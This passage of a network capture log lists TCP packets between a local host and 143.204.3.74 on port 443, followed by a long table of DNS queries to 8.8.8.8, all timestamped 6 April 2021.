Apr 6, 2021 19:40:30.163490057 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.163652897 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.163671017 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.163698912 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.163710117 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.164583921 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.164657116 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.164661884 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.164704084 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.164746046 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.165553093 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.165572882 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.165611029 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.165623903 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.167553902 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.167572975 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.167588949 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.167604923 CEST	443	49172	143.204.3.74	192.168.2.22
Apr 6, 2021 19:40:30.167618990 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:40:30.167654991 CEST	49172	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:41:57.407983065 CEST	49171	443	192.168.2.22	143.204.3.74
Apr 6, 2021 19:42:28.829056978 CEST	49172	443	192.168.2.22	143.204.3.74

UDP Packets

Timestamp	Source Port	Dest Port	Source IP	Dest IP
Apr 6, 2021 19:39:48.074776888 CEST	52197	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:48.285459995 CEST	53	52197	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:49.205840111 CEST	53099	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:49.253834009 CEST	53	53099	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:49.266133070 CEST	52838	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:49.312891006 CEST	53	52838	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:49.874306917 CEST	61200	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:49.928891897 CEST	53	61200	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:49.938994884 CEST	49548	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:49.988547087 CEST	53	49548	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:51.450333118 CEST	55627	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:51.506362915 CEST	53	55627	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:52.508858919 CEST	56009	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:52.684858084 CEST	53	56009	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:53.703649044 CEST	61865	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:53.763364077 CEST	53	61865	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:55.035455942 CEST	55171	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:56.038029909 CEST	55171	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:57.080295086 CEST	55171	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:57.102498055 CEST	53	55171	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:57.121680975 CEST	53	55171	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:57.463499069 CEST	52496	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:57.523293018 CEST	53	52496	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:57.534285069 CEST	57564	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:39:57.598129988 CEST	53	57564	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:58.150763988 CEST	53	55171	8.8.8.8	192.168.2.22
Apr 6, 2021 19:39:59.960166931 CEST	63009	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:00.007339954 CEST	53	63009	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:02.438532114 CEST	59319	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:02.487611055 CEST	53	59319	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:04.912224054 CEST	53070	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:04.960386992 CEST	53	53070	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:07.401508093 CEST	59770	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:07.451566935 CEST	53	59770	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:09.880100012 CEST	61523	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:09.926140070 CEST	53	61523	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:12.352286100 CEST	62791	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:12.398555040 CEST	53	62791	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:14.822638035 CEST	50667	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:14.868745089 CEST	53	50667	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:17.307769060 CEST	54129	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:17.359838963 CEST	53	54129	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:19.845205069 CEST	65329	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:19.901633024 CEST	53	65329	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:22.337282896 CEST	60718	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:22.383312941 CEST	53	60718	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:24.807017088 CEST	49157	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:24.853154898 CEST	53	49157	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:27.293514013 CEST	57391	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:27.339600086 CEST	53	57391	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:28.880044937 CEST	61858	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:28.926304102 CEST	53	61858	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:28.946441889 CEST	62500	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:29.001141071 CEST	53	62500	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:29.755723000 CEST	51652	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:29.804697037 CEST	53	51652	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:30.288501978 CEST	62762	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:30.339605093 CEST	53	62762	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:30.502280951 CEST	56905	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:30.549213886 CEST	53	56905	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:30.697082996 CEST	54609	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:30.743232965 CEST	53	54609	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:30.922975063 CEST	58101	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:30.969125986 CEST	53	58101	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:31.151410103 CEST	64329	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:31.199590921 CEST	53	64329	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:31.398335934 CEST	64881	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:31.444458008 CEST	53	64881	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:31.951664925 CEST	55327	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:31.997733116 CEST	53	55327	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:32.279177904 CEST	59150	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:32.327198029 CEST	53	59150	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:32.466526985 CEST	63439	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:32.514081001 CEST	53	63439	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:32.665901899 CEST	65040	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:32.712166071 CEST	53	65040	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:32.867674112 CEST	61369	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:32.913965940 CEST	53	61369	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:33.088159084 CEST	65515	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:33.137460947 CEST	53	65515	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:33.322921038 CEST	60236	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:33.369056940 CEST	53	60236	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:33.531136990 CEST	53198	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:33.580497026 CEST	53	53198	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:33.781368971 CEST	50027	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:33.830220938 CEST	53	50027	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:33.967446089 CEST	59245	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:34.014724016 CEST	53	59245	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:34.170212030 CEST	55840	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:34.219393015 CEST	53	55840	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:34.365668058 CEST	61667	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:34.412045956 CEST	53	61667	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:34.555669069 CEST	63736	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:34.603502989 CEST	53	63736	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:34.740217924 CEST	59805	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:34.746783972 CEST	62322	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:34.791069984 CEST	53	59805	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:34.794919014 CEST	53	62322	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:34.928410053 CEST	52819	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:34.974586010 CEST	53	52819	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:35.129662991 CEST	51215	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:35.177491903 CEST	53	51215	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:35.322850943 CEST	60312	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:35.375852108 CEST	53	60312	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:35.523037910 CEST	63463	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:35.570441008 CEST	53	63463	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:35.733710051 CEST	62224	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:35.783102989 CEST	53	62224	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:35.918437958 CEST	59064	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:35.969691038 CEST	53	59064	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:36.136529922 CEST	59885	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:36.191165924 CEST	53	59885	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:36.345684052 CEST	63749	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:36.391801119 CEST	53	63749	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:36.555574894 CEST	50878	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:36.601591110 CEST	53	50878	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:36.742995977 CEST	58469	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:36.788932085 CEST	53	58469	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:36.931615114 CEST	54773	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:36.977602005 CEST	53	54773	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:37.132086992 CEST	52166	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:37.178206921 CEST	53	52166	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:37.223661900 CEST	54589	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:37.269762993 CEST	53	54589	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:37.321492910 CEST	58113	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:37.372174025 CEST	53	58113	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:37.546396971 CEST	53533	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:37.593713045 CEST	53	53533	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:37.774877071 CEST	57696	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:37.823041916 CEST	53	57696	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:37.983417034 CEST	51068	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:38.030247927 CEST	53	51068	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:38.191545963 CEST	52944	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:38.237724066 CEST	53	52944	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:38.421297073 CEST	56190	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:38.468518019 CEST	53	56190	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:38.646922112 CEST	63877	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:38.693705082 CEST	53	63877	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:38.851238966 CEST	62299	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:38.900207996 CEST	53	62299	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:39.042809010 CEST	53239	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:39.099498034 CEST	53	53239	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:39.264271021 CEST	62320	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:39.311078072 CEST	53	62320	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:39.455657959 CEST	61507	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:39.502526045 CEST	53	61507	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:39.637768984 CEST	53940	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:39.687088966 CEST	53	53940	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:39.750665903 CEST	59089	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:39.810029984 CEST	53	59089	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:39.836366892 CEST	51739	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:39.882513046 CEST	53	51739	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:40.029604912 CEST	53552	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:40.077039957 CEST	53	53552	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:40.218522072 CEST	61135	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:40.264484882 CEST	53	61135	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:40.409742117 CEST	49357	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:40.457570076 CEST	53	49357	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:40.582146883 CEST	53451	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:40.628163099 CEST	53	53451	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:40.760339975 CEST	62183	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:40.809334040 CEST	53	62183	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:40.951508045 CEST	61653	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:41.002268076 CEST	53	61653	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:41.155987024 CEST	56509	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:41.202176094 CEST	53	56509	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:41.348602057 CEST	62179	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:41.394932985 CEST	53	62179	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:41.522831917 CEST	54721	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:41.569063902 CEST	53	54721	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:41.726924896 CEST	59549	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:41.776199102 CEST	53	59549	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:41.927459002 CEST	50463	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:41.975904942 CEST	53	50463	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:42.119256973 CEST	59029	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:42.165601969 CEST	53	59029	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:42.293968916 CEST	60541	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:42.302598000 CEST	62739	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:42.340096951 CEST	53	60541	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:42.351910114 CEST	53	62739	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:42.502572060 CEST	62511	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:42.548557997 CEST	53	62511	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:42.688924074 CEST	54403	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:42.735043049 CEST	53	54403	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:42.860538006 CEST	62038	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:42.909682035 CEST	53	62038	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:43.035485029 CEST	50377	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:43.081614017 CEST	53	50377	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:43.241452932 CEST	59171	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:43.287496090 CEST	53	59171	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:43.433187962 CEST	59721	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:43.484651089 CEST	53	59721	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:43.622641087 CEST	54110	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:43.671638966 CEST	53	54110	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:43.803035021 CEST	65178	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:43.851650953 CEST	53	65178	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:44.058088064 CEST	57185	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:44.111391068 CEST	53	57185	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:44.378381014 CEST	51859	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:44.426449060 CEST	53	51859	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:44.567068100 CEST	63355	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:44.612967014 CEST	53	63355	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:44.762288094 CEST	59126	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:44.808343887 CEST	53	59126	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:45.000897884 CEST	59136	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:45.058446884 CEST	61938	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:45.067708969 CEST	53	59136	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:45.104463100 CEST	53	61938	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:45.236002922 CEST	54603	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:45.282212019 CEST	53	54603	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:45.432934999 CEST	56472	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:45.480803967 CEST	53	56472	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:45.912163019 CEST	64956	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:45.958249092 CEST	53	64956	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:46.192790985 CEST	49558	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:46.240866899 CEST	53	49558	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:46.373102903 CEST	60485	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:46.419349909 CEST	53	60485	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:47.647332907 CEST	62070	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:47.693599939 CEST	53	62070	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:47.832748890 CEST	52196	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:47.860057116 CEST	53324	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:47.879038095 CEST	53	52196	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:47.906183958 CEST	53	53324	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:48.000814915 CEST	59208	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:48.047188997 CEST	53	59208	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:48.168560982 CEST	53489	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:48.216485023 CEST	53	53489	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:48.344666958 CEST	60104	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:48.390760899 CEST	53	60104	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:48.530210018 CEST	57579	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:48.578974962 CEST	53	57579	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:48.707921982 CEST	56516	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:48.754936934 CEST	53	56516	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:48.879576921 CEST	50926	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:48.925676107 CEST	53	50926	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:49.070017099 CEST	61266	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:49.117281914 CEST	53	61266	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:49.265376091 CEST	57279	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:49.311264038 CEST	53	57279	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:49.446482897 CEST	65273	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:49.495909929 CEST	53	65273	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:49.638135910 CEST	64307	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:49.684075117 CEST	53	64307	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:49.817519903 CEST	49977	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:49.863481998 CEST	53	49977	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:49.986362934 CEST	61667	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:50.033010006 CEST	53	61667	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:50.155533075 CEST	65274	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:50.204401970 CEST	53	65274	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:50.343683004 CEST	58029	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:50.392787933 CEST	53	58029	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:50.395581007 CEST	64534	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:50.447282076 CEST	53	64534	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:50.520277977 CEST	51031	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:50.569132090 CEST	53	51031	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:50.697328091 CEST	64254	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:50.747556925 CEST	53	64254	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:50.879343033 CEST	52696	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:50.925532103 CEST	53	52696	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:51.050560951 CEST	56479	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:51.098479033 CEST	53	56479	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:51.266551018 CEST	63874	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:51.312697887 CEST	53	63874	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:51.464703083 CEST	62985	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:51.515945911 CEST	53	62985	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:51.696537018 CEST	53083	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:51.745235920 CEST	53	53083	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:51.908808947 CEST	56129	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:51.954965115 CEST	53	56129	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:52.131546974 CEST	54898	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:52.177593946 CEST	53	54898	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:52.345784903 CEST	60996	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:52.392829895 CEST	53	60996	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:52.547440052 CEST	56871	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:52.596584082 CEST	53	56871	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:52.765811920 CEST	56681	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:52.813105106 CEST	53	56681	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:52.917624950 CEST	57030	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:52.963583946 CEST	53	57030	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:52.981024027 CEST	56842	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:53.027146101 CEST	53	56842	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:53.192387104 CEST	54769	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:53.241532087 CEST	53	54769	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:53.411525965 CEST	57976	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:53.460613966 CEST	53	57976	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:53.590791941 CEST	57822	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:53.637541056 CEST	53	57822	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:53.765727043 CEST	57816	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:53.817075968 CEST	53	57816	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:53.951761007 CEST	58218	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:54.000678062 CEST	53	58218	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:54.123927116 CEST	52925	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:54.172849894 CEST	53	52925	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:54.299540997 CEST	50088	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:54.345737934 CEST	53	50088	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:54.473920107 CEST	63974	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:54.520679951 CEST	53	63974	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:54.651238918 CEST	60174	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:54.699134111 CEST	53	60174	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:54.822866917 CEST	62566	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:54.868949890 CEST	53	62566	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:54.996320963 CEST	60502	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:55.044810057 CEST	53	60502	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:55.170303106 CEST	64666	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:55.216217995 CEST	53	64666	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:55.340470076 CEST	65172	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:55.389312029 CEST	53	65172	8.8.8.8	192.168.2.22
Apr 6, 2021 19:40:55.445796967 CEST	61683	53	192.168.2.22	8.8.8.8
Apr 6, 2021 19:40:55.491935015 CEST	53	61683	8.8.8.8	192.168.2.22
